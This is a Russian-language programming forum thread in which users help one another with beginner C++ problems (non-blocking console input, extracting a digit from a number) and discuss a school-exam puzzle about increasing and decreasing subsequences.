Автор: Avenger 22.3.2012, 11:41

показать офф-топ
Цитата(Psionic @ 22.3.2012, 2:14) *

после того как мне на работе пришлось обьяснять пару такого колегам.

Мне на работе приходилось учить как пользоваться салфетками для протирания мониторов. facepalm2.gif На второй день я обнаружил банку с салфетками на кухонном столе (похоже подумали, что это влажные салфетки для рук). facepalm2.gif

Автор: GraYaSDF 22.3.2012, 16:02

Цитата(IwanS @ 20.3.2012, 20:38) *

Пишу на C#, Java, PHP и боюсь char* как огня.

Да, но все зависит от задачи, особенно если движок какой-либо кодишь на сплюсе (не на шарпе), то попадаешь не раз в прямую зависимость от char, и как бы не хотелось применить string, но потом придется переводить в этот char... бррр, мерзость 31.gif А движок я не брошу, потому что он хороший.

Кстати, во флешке 2.0 тоже нет char. Православный флеш

Автор: deereqd 11.4.2012, 11:56

никто не знает как работает аудиокодек lame enc dl?
Сообщение модератораМодератор: Ссылка удалена

Автор: BlessYou 27.5.2012, 22:19

Помогите, пожалуйста, решить одну проблему. Суть этой программы в том, что движениями буквы О на экране управляет сам пользователь, а буква Х двигается сама. Проблема в том, что Х без О никак не двигается - только синхронно. Как сделать так, чтобы Х не ждала О и двигалась сама?

Язык - С++, консольное приложение.


Прикрепленные файлы
Прикрепленный файл  moving_O.txt ( 1.82 килобайт ) Кол-во скачиваний: 86

Автор: IwanS 27.5.2012, 22:28

BlessYou, подсказка: либо таймер, либо многопоточность.

Автор: Iluhan 27.5.2012, 22:36

показать офф-топ
Сори за флуд, но наверное глупо будет спрашивать, умеет ли кто-нибудь взламывать почтовые ящики 54.gif

Автор: BlessYou 27.5.2012, 22:55

Цитата(IwanS @ 27.5.2012, 22:28) *

BlessYou, подсказка: либо таймер, либо многопоточность.


Многопоточность уже советовали - я не в курсе, что это и как это, и прочитать вроде негде.

Вот с таймером самое интересное: для него использую функцию kbhit в библиотеке conio. Но kbhit слишком деревянный, двинуть О с ним - невозможно. Никак. Сколько по клаве не бей.

Iluhan, см. старый-старый демотиватор "Хочешь читать чужие смс? Забери телефон."

Автор: IwanS 28.5.2012, 5:54

BlessYou, ну я тебе могу только на c# написать, в с++ я не особо...

Автор: Dukat863 28.5.2012, 15:39

Цитата(BlessYou @ 27.5.2012, 23:19) *

Помогите, пожалуйста, решить одну проблему. Суть этой программы в том, что движениями буквы О на экране управляет сам пользователь, а буква Х двигается сама. Проблема в том, что Х без О никак не двигается - только синхронно. Как сделать так, чтобы Х не ждала О и двигалась сама?

Язык - С++, консольное приложение.
Сейчас гляну.

EDIT: Вот ужас, писать { на одной строчке между if, else, for и комментариями это особый мазохизм, разбавленный полным отсутствием отступов.
Может так и компактнее, но ничего разобрать в этой каше невозможно. Пришлось исправлять сначала стиль, чтобы начать искать ошибку.

Для координат уже придумали обозначения X, Y, и Z. Зачем использовать A для горизонтали и B для вертикали?
Кстати, для чего по вашему нужна переменная aoc?

EDIT: Кажись разобрал. У тебя есть код
Код
int cx1=rand()%2;
, и есть
Код
if(cx1==0) //если сх==0, то Х двигается влево
Так вот, будет ли менять координаты или нет, зависит от того, что вернул
Код
int cx1=rand()%2;
. И ещё:
Код
int aoc=getch(); //контроль буквы О
int c=kbhit(); //?!
Вполне возможно, что программа ожидает ввода, поэтому и не двигается буква X.

P.S. Программу не запускал.

показать офф-топ
Интересно, сколько мозгов я сломал отдельно стоящей запятой, и отдельно стоящей точкой...

Автор: ~IL~ 28.5.2012, 17:05

попробуй с таймером

Автор: BlessYou 28.5.2012, 17:37

Dukat, "вполне возможно, что программа ожидает ввода" - так она и ожидает его. А надо, чтобы не ждала. Кроме того, Х двигается ВСЕГДА. Переменные cx1 и т.д. влияют только на направление.

Автор: Dukat863 28.5.2012, 17:41

Тогда нужно будет найти другую функцию ввода, чтобы программа работала между нажатиями.
Как вариант использовать SDL, хотя я не знаю как он будет работать с консольным приложением.

Автор: HaRuSpex 25.8.2012, 18:41

Незнаю как получше написать функцию по получению определенной цифры из числа.
Допустим у нас есть такая переменная
long int N=987654321;
и нам нужно найти 7ую позицию числа;
Можно найти вручную. Тоесть если 7позиция то делим на 1000000 и получаем остаток от деления на 10. В результате остается цифра 7
Но вдруг это будет 20ти значное число и для каждой позиции писать код как-то по "ламерски".
Написать такую функцию труда не составит но скорее всего у меня получится "грязный" код c объявлением десятка новых переменных и циклов. Хотелось бы узнать как бы вы автоматизировали этот процесс?
//програмирую на visual C++.

Автор: Psionic 25.8.2012, 21:05

Цитата
Незнаю как получше написать функцию по получению определенной цифры из числа.
Допустим у нас есть такая переменная

Ну простейший способ скновертить число в строку _itoa (гугли), а дальше по индексу... также можно поизвращатся с порядками, но это на любителя.. 18.gif

Автор: HaRuSpex 25.8.2012, 21:16

Цитата(Psionic @ 25.8.2012, 22:05) *

Ну простейший способ скновертить число в строку _itoa (гугли), а дальше по индексу... также можно поизвращатся с порядками, но это на любителя.. 18.gif

Нужно получить (int) цифру из (long int) числа. itoa возвращает адрес на строку.
UPD: все разобрался спс

Автор: Dukat863 25.8.2012, 21:25

Код
#include <math.h>

int getPos(int number, int position)
{
    return ( int(number / ( pow(10, position) )) % 10 );
}
Примерно вот так. Если нужно число длиннее (скажем, 64 битный int), то придётся повозиться.
Цитата(Psionic @ 25.8.2012, 22:05) *
Ну простейший способ скновертить число в строку _itoa (гугли), а дальше по индексу... также можно поизвращатся с порядками, но это на любителя.. 18.gif
Вот так?
Код
#include <cstdio>
//long long number = 876543210987654321;

int getPos(long long number, int position)
{
    char word[32]; //32 хватит всем
    sprintf(word, "%lld",number);
    return word[position-1];
}
Правда порядок тут слева направо, но потом исправим.

Автор: HaRuSpex 25.8.2012, 21:39

Цитата(Dukat863 @ 25.8.2012, 22:25) *

int getPos(int number, int position)
{
return ( int(number / ( pow(10, position) )) % 10 );
}[/code]

Всего лишь одна строчка... 42.gif 08.gif... гениально 12.gif
показать офф-топ
А я так надеялся что лучшего решения чем у меня не найдётся 31.gif
Код

int getPosition(long int number,int position)
{
    for (int i=1;i<position;i++)
    {
        number=number/10;
    }
    number=number%10;
    return number;
}



Автор: Psionic 26.8.2012, 0:01

Цитата(Dukat863 @ 25.8.2012, 21:25) *

Код
#include <math.h>
#include <cstdio>
//long long number = 876543210987654321;

int getPos(long long number, int position)
{
    char word[32]; //32 хватит всем
    sprintf(word, "%lld",number);
    return word[position-1];
}
Правда порядок тут слева направо, но потом исправим.

Ну примерно...б хотя в последней строчке не помешалобы написать (int)(word[position-1]-'0');

Автор: HaRuSpex 22.4.2013, 16:42

Задача.
В ряд записаны числа от 2 до 11 в некотором порядке
А)В любом ли случае можно вычеркнуть числа так что останется только 3 числа в порядке возрастания/убывания.
Б) 4 числа в порядке возрастания/убывания.
В)5 чисел в порядке возрастания/убывания.
Пример.
2.3.4.5.6.7.8.9.10.11
2.3.4.5.6.7.8.9.10.11 такое решение не проходит тк 2.10.11 расположены в порядке возрастания.
Эта задача по математике из ЕГЭ. Я не смог найти закономерность в расположение чисел и захотел перебрать все возможные комбинации с помощью с++. Незнаю как лучше реализовать. что бы перебрать все комбинации а их 10! И в каждой из комбинаций по разному можно вычеркивать числа. в итоге получится где то 60 млн комбинаций.
Как лучше перебрать все мозможные комбинации чисел от 2 до 11, в массиве из 10 элементов?
Я себе представляю 10 вложеных циклов и при каждом изменение значения одного из элементов массива проверять можно ли вычеркнуть так что бы не осталось чисел в порядке возрастания убывания. Но производительность такой программы оставляет желать лучшего.

Автор: IwanS 22.4.2013, 17:30

HaRuSpex, не понял задачи. Вычеркивать можно только прилегающие друг у другу числа или как хочешь? Возрастающие\убывающие - это только 3, 4, 5? 3, 4, 7 уже не подходят?

Автор: HaRuSpex 22.4.2013, 19:35

убывающие это как 8 7 6 так и 11 6 2. Возрастающие так же
вычеркивать можно любые числа.
Алгебраическая задача это доказать обратное условию задачи. Тоесть найти такую комбинацию цифр от 2х до 11 что бы если оставить 3/4/5 чисел они НЕ были расположены в порядке возрастания/убывания.
А если программировать то нужно перебрать 10!*10*9*8 =2 612 736 000 комбинаций (ну это абсолютно все варианты )

Автор: IwanS 22.4.2013, 22:35

HaRuSpex, тогда я не понял, почему в твоем примере решение не подходит.

Вообще, задача интересна только для пяти чисел. Три и четыре всегда можно найти. Ну и строгое математическое доказательство было бы интересно увидеть.

Автор: HaRuSpex 23.4.2013, 5:26

В задаче сказано "Всегда ли можно найти..". Это означает что надо найти такую комбинацию цифр при которой любые 3/4/5 чисел не будут возрастать/убывать. И получается что задача интересна только для 3х чисел а 4 и 5 легче найти. Ну да ладно.. Если найти математическое решение напишу сюда

Автор: Lustmord 23.4.2013, 12:57

Типа такое:

6 7 2 10 5 9 4 11 3 8

7 6 8 5 9 4 10 3 11 2

2 11 3 10 4 9 5 8 6 7

11 2 10 3 9 4 8 5 7 6

?

Автор: HaRuSpex 23.4.2013, 14:12

Цитата(Lustmord @ 23.4.2013, 13:57) *

Типа такое:

6 7 2 10 5 9 4 11 3 8

7 6 8 5 9 4 10 3 11 2

2 11 3 10 4 9 5 8 6 7

11 2 10 3 9 4 8 5 7 6

?

Вроде как первое подходит. Нет 5 убывающих возрастающих чисел, но есть 4 возрастающих
6 7 2 10 5 9 4 11 3 8
6 7 2 10 5 9 4 11 3 8
Второе не подходит
7 6 8 5 9 4 10 3 11 2
7 6 8 5 9 4 10 3 11 2
третья
2 11 3 10 4 9 5 8 6 7
тут аж 6 подрят 2 3 4 5 6 7
четвертая
11 2 10 3 9 4 8 5 7 6
тут 2 3 4 5 7
Вообщем первая последовательность подходит. Поздравляю! Ты получил 1 балл (из 4х) за задание С6

Автор: Lustmord 23.4.2013, 14:32

14.gif
Не правильно понял задачу...

Автор: HaRuSpex 23.4.2013, 17:51

Цитата(IwanS @ 22.4.2013, 23:35) *

HaRuSpex, тогда я не понял, почему в твоем примере решение не подходит.

Вообще, задача интересна только для пяти чисел. Три и четыре всегда можно найти. Ну и строгое математическое доказательство было бы интересно увидеть.

Вот вообщем нашел саму задачу и решение к ней
http://webmath.exponenta.ru/mege/do/c6/18.html

Автор: IwanS 23.4.2013, 17:58

Цитата(HaRuSpex @ 23.4.2013, 18:51) *

Вот вообщем нашел саму задачу и решение к ней
http://webmath.exponenta.ru/mege/do/c6/18.html

Если числа стоят например в порядке 8,7,9,5,11,2,3,6,4,10, то выбрать нельзя

8 - 9 - 10. Разве нет?

Автор: Lustmord 23.4.2013, 18:05

Цитата(IwanS @ 23.4.2013, 15:58) *

Если числа стоят например в порядке 8,7,9,5,11,2,3,6,4,10, то выбрать нельзя

8 - 9 - 10. Разве нет?


Там имеется ввиду, про 5 чисел.


Цитата
Вот вообщем нашел саму задачу и решение к ней


Я оказывается тебя полностью не понял 16.gif

Автор: HaRuSpex 23.4.2013, 18:15

Дак там же сказано что для 3х и 4х всегда можно найти последовательность. А это решение для 5ти уб/возр чисел подрят. Попробуйте найти здесь 5 чисел возр/убыв подрят

Цитата(Lustmord @ 23.4.2013, 19:05) *

Там имеется ввиду, про 5 чисел.
Я оказывается тебя полностью не понял 16.gif

Меня что то никто не понял)
Значит не правильно донёс информацию.

Автор: IwanS 23.4.2013, 19:15

А, понял. Прошу прощения 20.gif

Русская версия Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)